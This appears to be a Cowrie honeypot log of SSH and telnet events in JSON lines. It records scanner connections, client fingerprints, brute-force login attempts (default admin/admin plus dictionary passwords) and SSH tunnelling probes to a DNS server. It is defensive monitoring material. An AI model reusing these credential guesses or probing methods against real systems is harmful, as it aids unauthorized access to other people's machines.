{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:24:93:87:a1:e2:6a:52:47:08:be:ba:0a:4f:d6:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFtP/wK03zyTJEWY0otwRtLNmjpL8LNFKQaRGAEDEOEQCvHmMg9STZ6O+IEa7cwCbLDh1leODroSv96ltcquwdbz/KB6P84pKqfJewVqtOuHNwc9ceXtLcFE9rEqJ6p0TyrVcjbn0FJOGE00j9udmLbqpYu2DliMpgzHPyDlTT2dZ51EZaeck9YIG18NVIsPYsPhQMrPCSN1SHs3IHl0cpCtZy2j6lNIERvWtcZ43cr/kZsDvOCAwHAHuJx2DHsP+/emU39e/rB2MoE2QNToQ02XAxqmLRlosvoFHuMmTYkGQP7NyMUoxJXUYE2BHKymIgL5dr7LfrFdeb+UqdHDrG1tBGECxbm8An043eXYOq55qh2tLt9HFi0fiAPsMpFhF/Yzvnn20Z36e6JXURJ/HKIE3lB5arXG9THAMK4Xh3HHhhTVewkpGH1IoGNBr9XiU7CnCItzTNYG9JFbSoWa450Sttl7Q52ey44q4g3KJlhrVYngSdTfn4qB//GAvaNXokABaDzquY0e/i6ISnUUJP03qCwoq6dP0jNXXgn/4LZWPv2ZmDIKYiY9ipdUWAOcR+YN9LINBuvsWuM3oPgQICI6VwpTzS2VETBNJPlLxZ6uPasytBaERvmsHyiODTLTTEwj04tR/2cO+IGBQ83JTgMJq/3gJaPp+OCYupIXnukw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:24:93:87:a1:e2:6a:52:47:08:be:ba:0a:4f:d6:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:08.012443Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:24:93:87:a1:e2:6a:52:47:08:be:ba:0a:4f:d6:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFtP/wK03zyTJEWY0otwRtLNmjpL8LNFKQaRGAEDEOEQCvHmMg9STZ6O+IEa7cwCbLDh1leODroSv96ltcquwdbz/KB6P84pKqfJewVqtOuHNwc9ceXtLcFE9rEqJ6p0TyrVcjbn0FJOGE00j9udmLbqpYu2DliMpgzHPyDlTT2dZ51EZaeck9YIG18NVIsPYsPhQMrPCSN1SHs3IHl0cpCtZy2j6lNIERvWtcZ43cr/kZsDvOCAwHAHuJx2DHsP+/emU39e/rB2MoE2QNToQ02XAxqmLRlosvoFHuMmTYkGQP7NyMUoxJXUYE2BHKymIgL5dr7LfrFdeb+UqdHDrG1tBGECxbm8An043eXYOq55qh2tLt9HFi0fiAPsMpFhF/Yzvnn20Z36e6JXURJ/HKIE3lB5arXG9THAMK4Xh3HHhhTVewkpGH1IoGNBr9XiU7CnCItzTNYG9JFbSoWa450Sttl7Q52ey44q4g3KJlhrVYngSdTfn4qB//GAvaNXokABaDzquY0e/i6ISnUUJP03qCwoq6dP0jNXXgn/4LZWPv2ZmDIKYiY9ipdUWAOcR+YN9LINBuvsWuM3oPgQICI6VwpTzS2VETBNJPlLxZ6uPasytBaERvmsHyiODTLTTEwj04tR/2cO+IGBQ83JTgMJq/3gJaPp+OCYupIXnukw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:08.017429Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:08.113764Z","src_ip":"157.173.100.92","session":"e2998095c304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44582,"dst_ip":"10.17.0.5","dst_port":22,"session":"debd35db42af","protocol":"ssh","message":"New connection: 87.251.64.176:44582 (10.17.0.5:22) [session: debd35db42af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:37.190739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:37.195564Z","src_ip":"87.251.64.176","session":"debd35db42af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:37.292286Z","src_ip":"87.251.64.176","session":"debd35db42af","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:37.584251Z","src_ip":"87.251.64.176","session":"debd35db42af","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:37.690322Z","session":"debd35db42af","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:37.789712Z","src_ip":"87.251.64.176","session":"debd35db42af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:45:38.026092Z","src_ip":"87.251.64.176","session":"debd35db42af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.240.59.12","src_port":54845,"dst_ip":"159.203.135.109","dst_port":22,"session":"edcdb6c661b5","protocol":"ssh","message":"New connection: 188.240.59.12:54845 (159.203.135.109:22) [session: edcdb6c661b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:48:42.632026Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:48:42.710367Z","src_ip":"188.240.59.12","session":"edcdb6c661b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14116,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce891966d5d9","protocol":"ssh","message":"New connection: 87.251.64.176:14116 (10.17.0.5:22) [session: ce891966d5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:49:34.813081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:49:34.818275Z","src_ip":"87.251.64.176","session":"ce891966d5d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:49:34.915318Z","src_ip":"87.251.64.176","session":"ce891966d5d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:49:35.205056Z","src_ip":"87.251.64.176","session":"ce891966d5d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:49:35.305492Z","session":"ce891966d5d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:49:35.408108Z","src_ip":"87.251.64.176","session":"ce891966d5d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:49:35.507725Z","src_ip":"87.251.64.176","session":"ce891966d5d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":11005,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b91a09572f4","protocol":"ssh","message":"New connection: 2.57.121.112:11005 (10.17.0.5:22) [session: 8b91a09572f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:02.731903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:02.738215Z","src_ip":"2.57.121.112","session":"8b91a09572f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:02.844798Z","src_ip":"2.57.121.112","session":"8b91a09572f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dually","message":"login attempt [admin/dually] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:03.343078Z","src_ip":"2.57.121.112","session":"8b91a09572f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"drunk1","message":"login attempt [admin/drunk1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:04.452747Z","src_ip":"2.57.121.112","session":"8b91a09572f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dropzone","message":"login attempt [admin/dropzone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:05.561697Z","src_ip":"2.57.121.112","session":"8b91a09572f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"drivers","message":"login attempt [admin/drivers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:06.670219Z","src_ip":"2.57.121.112","session":"8b91a09572f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dreyfus","message":"login attempt [admin/dreyfus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:07.780658Z","src_ip":"2.57.121.112","session":"8b91a09572f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:08.889882Z","src_ip":"2.57.121.112","session":"8b91a09572f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.146.80.113","src_port":11462,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c0c14fe417c","protocol":"ssh","message":"New connection: 217.146.80.113:11462 (159.203.135.109:22) [session: 4c0c14fe417c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:13.806604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:14.460404Z","src_ip":"217.146.80.113","session":"4c0c14fe417c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"8e8294623d295b5c79addcd28d64328c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 8e8294623d295b5c79addcd28d64328c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:14.463937Z","src_ip":"217.146.80.113","session":"4c0c14fe417c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:15.563495Z","src_ip":"217.146.80.113","session":"4c0c14fe417c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":13312,"dst_ip":"10.17.0.5","dst_port":22,"session":"af00f64d4346","protocol":"ssh","message":"New connection: 2.57.121.25:13312 (10.17.0.5:22) [session: af00f64d4346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:25.922740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:25.927537Z","src_ip":"2.57.121.25","session":"af00f64d4346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:26.028320Z","src_ip":"2.57.121.25","session":"af00f64d4346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gisela","message":"login attempt [user/gisela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:26.501106Z","src_ip":"2.57.121.25","session":"af00f64d4346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ghjcnjghjcnj","message":"login attempt [user/ghjcnjghjcnj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:27.604995Z","src_ip":"2.57.121.25","session":"af00f64d4346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gfnhbjn","message":"login attempt [user/gfnhbjn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:28.708578Z","src_ip":"2.57.121.25","session":"af00f64d4346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gfhjkzytn","message":"login attempt [user/gfhjkzytn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:29.812511Z","src_ip":"2.57.121.25","session":"af00f64d4346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gazelle","message":"login attempt [user/gazelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:30.915487Z","src_ip":"2.57.121.25","session":"af00f64d4346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:51:32.020212Z","src_ip":"2.57.121.25","session":"af00f64d4346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":53626,"dst_ip":"10.17.0.5","dst_port":23,"session":"853f9496cc50","protocol":"telnet","message":"New connection: 194.180.12.23:53626 (10.17.0.5:23) [session: 853f9496cc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:53:32.897834Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":61676,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6214e3680df","protocol":"ssh","message":"New connection: 176.65.132.190:61676 (10.17.0.5:22) [session: e6214e3680df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:54:39.783705Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:54:39.787924Z","src_ip":"176.65.132.190","session":"e6214e3680df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0243923664093,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:55:32.922083Z","src_ip":"194.180.12.23","session":"853f9496cc50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":35224,"dst_ip":"10.17.0.5","dst_port":22,"session":"d53929a4d755","protocol":"ssh","message":"New connection: 167.114.156.169:35224 (10.17.0.5:22) [session: d53929a4d755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.612730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:09.617963Z","src_ip":"167.114.156.169","session":"d53929a4d755","protocol":"ssh"}
